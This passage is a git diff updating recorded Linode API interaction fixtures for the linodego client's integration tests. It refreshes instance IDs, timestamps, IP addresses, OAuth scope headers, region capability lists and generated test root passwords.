Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: @@ -238,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:20 GMT + - Fri, 31 May 2024 17:27:50 GMT Pragma: - no-cache Strict-Transport-Security: @@ -255,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -264,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-range6","root_pass":"6''~m1GbO1AkvE(|0Zf!wOmn6O.qBa*27?2[;B=66\u0026v;09429\u0026LlEj+^ecICDfZ7Z","image":"linode/debian9","booted":false}' + body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-range6","root_pass":"2\u003c1pa}MSU+O66\u0026FCyrz7v2R5[D-GsL:(Db8.C2wTiC0R''/1u5`p2:-t7*x5m9+Xg","image":"linode/debian9","firewall_id":501399,"booted":false}' form: {} headers: Accept: @@ -276,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 55639824, "label": "go-ins-test-range6", "group": "", "status": + body: '{"id": 59542183, "label": "go-ins-test-range6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["176.58.127.10"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["212.71.250.32"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "15fdc2faab1d0a5765c81b825f7a2a25632be7d2", "has_user_data": false}' + "47e396d1c743aa4bca264182b67d1813bdb133fb", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -301,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "735" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:21 GMT + - Fri, 31 May 2024 17:27:51 GMT Pragma: - no-cache Strict-Transport-Security: @@ -322,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -331,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"linode_id":55639824,"prefix_length":64}' + body: '{"linode_id":59542183,"prefix_length":64}' form: {} headers: Accept: @@ -360,13 +401,13 @@ interactions: Connection: - keep-alive Content-Length: - - "87" + - "86" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:21 GMT + - Fri, 31 May 2024 17:27:51 GMT Pragma: - no-cache Strict-Transport-Security: @@ -381,7 +422,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -390,7 +434,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-share6","root_pass":"1~LgUc8V`7h,/)@/gy~61Ka4lQ$+27eA24ke\u0026LUbyV$Y*^9ZNUS7ZZem1b8u70\u0026`","image":"linode/debian9","booted":false}' + body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-share6","root_pass":"-5I2gV.9?M{rZqJ0:8\u003c[37C|hDaPmRC1m5z/57r*\u0026BTw!gv*4L8ei+F?v`5Aw7Q5","image":"linode/debian9","firewall_id":501399,"booted":false}' form: {} headers: Accept: @@ -402,15 +446,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 55639825, "label": "go-ins-test-share6", "group": "", "status": + body: '{"id": 59542187, "label": "go-ins-test-share6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["176.58.127.27"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["212.71.250.77"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "8b34c8435750492833d9813b3f145f3af4eece11", "has_user_data": false}' + "fc0dbbdc12e19337c0a68f97788fea2328eacd23", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -427,13 +472,13 @@ interactions: Connection: - keep-alive Content-Length: - - "735" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:21 GMT + - Fri, 31 May 2024 17:27:52 GMT Pragma: - no-cache Strict-Transport-Security: @@ -448,7 +493,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -457,7 +505,7 @@ interactions: code: 200 duration: "" - request: - body: '{"ips":["1234::5678"],"linode_id":55639824}' + body: '{"ips":["1234::5678"],"linode_id":59542183}' form: {} headers: Accept: @@ -492,7 +540,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:22 GMT + - Fri, 31 May 2024 17:27:52 GMT Pragma: - no-cache Strict-Transport-Security: @@ -507,7 +555,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -516,7 +567,7 @@ interactions: code: 200 duration: "" - request: - body: '{"ips":["1234::5678"],"linode_id":55639825}' + body: '{"ips":["1234::5678"],"linode_id":59542187}' form: {} headers: Accept: @@ -551,7 +602,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:22 GMT + - Fri, 31 May 2024 17:27:52 GMT Pragma: - no-cache Strict-Transport-Security: @@ -566,7 +617,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -584,19 +638,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55639825/ips + url: https://api.linode.com/v4beta/linode/instances/59542187/ips method: GET response: - body: '{"ipv4": {"public": [{"address": "176.58.127.27", "gateway": "176.58.127.1", + body: '{"ipv4": {"public": [{"address": "212.71.250.77", "gateway": "212.71.250.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, - "rdns": "176-58-127-27.ip.linodeusercontent.com", "linode_id": 55639825, "region": + "rdns": "212-71-250-77.ip.linodeusercontent.com", "linode_id": 59542187, "region": "eu-west", "vpc_nat_1_1": null}], "private": [], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, - "type": "ipv6", "rdns": null, "linode_id": 55639825, "region": "eu-west", "public": + "type": "ipv6", "rdns": null, "linode_id": 59542187, "region": "eu-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": - null, "linode_id": 55639825, "region": "eu-west", "public": false}, "global": + null, "linode_id": 59542187, "region": "eu-west", "public": false}, "global": [{"range": "1234::5678", "prefix": 64, "region": "eu-west", "route_target": null}]}}' headers: @@ -619,7 +673,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:22 GMT + - Fri, 31 May 2024 17:27:53 GMT Pragma: - no-cache Strict-Transport-Security: @@ -636,7 +690,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -654,7 +711,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55639825 + url: https://api.linode.com/v4beta/linode/instances/59542187 method: DELETE response: body: '{}' @@ -680,7 +737,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:22 GMT + - Fri, 31 May 2024 17:27:53 GMT Pragma: - no-cache Strict-Transport-Security: @@ -695,7 +752,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -739,7 +799,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:23 GMT + - Fri, 31 May 2024 17:27:53 GMT Pragma: - no-cache Strict-Transport-Security: @@ -754,7 +814,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -772,7 +835,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55639824 + url: https://api.linode.com/v4beta/linode/instances/59542183 method: DELETE response: body: '{}' @@ -798,7 +861,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:23 GMT + - Fri, 31 May 2024 17:27:53 GMT Pragma: - no-cache Strict-Transport-Security: @@ -813,7 +876,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestImage_CloudInit.yaml b/test/integration/fixtures/TestImage_CloudInit.yaml index 4da5abfac..fe8459a1b 100644 --- a/test/integration/fixtures/TestImage_CloudInit.yaml +++ b/test/integration/fixtures/TestImage_CloudInit.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + 